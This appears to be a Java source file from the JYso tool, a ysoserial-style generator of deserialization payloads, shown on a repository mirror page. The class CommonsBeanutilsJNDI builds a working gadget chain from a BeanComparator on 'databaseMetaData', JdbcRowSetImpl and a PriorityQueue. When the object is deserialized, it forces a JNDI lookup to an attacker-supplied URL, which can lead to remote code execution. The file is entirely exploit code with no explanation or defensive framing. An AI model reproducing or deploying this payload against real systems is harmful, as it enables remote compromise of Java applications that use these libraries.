mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
37 lines
1.3 KiB
Java
37 lines
1.3 KiB
Java
package com.qi4l.JYso.gadgets;
|
|
|
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
|
import com.sun.rowset.JdbcRowSetImpl;
|
|
import org.apache.commons.beanutils.BeanComparator;
|
|
|
|
import java.math.BigInteger;
|
|
import java.util.PriorityQueue;
|
|
|
|
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
|
|
@Authors({Authors.QI4L})
|
|
public class CommonsBeanutilsJNDI implements ObjectPayload<Object> {
|
|
|
|
@Override
|
|
public Object getObject(String command) throws Exception {
|
|
String jndiURL = null;
|
|
if (command.toLowerCase().startsWith("jndi:")) {
|
|
jndiURL = command.substring(5);
|
|
}
|
|
|
|
BeanComparator comparator = new BeanComparator("lowestSetBit");
|
|
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
|
rs.setDataSourceName(jndiURL);
|
|
rs.setMatchColumn("QI4L");
|
|
PriorityQueue queue = new PriorityQueue(2, comparator);
|
|
|
|
queue.add(new BigInteger("1"));
|
|
queue.add(new BigInteger("1"));
|
|
|
|
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
|
|
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
|
|
return queue;
|
|
}
|
|
}
|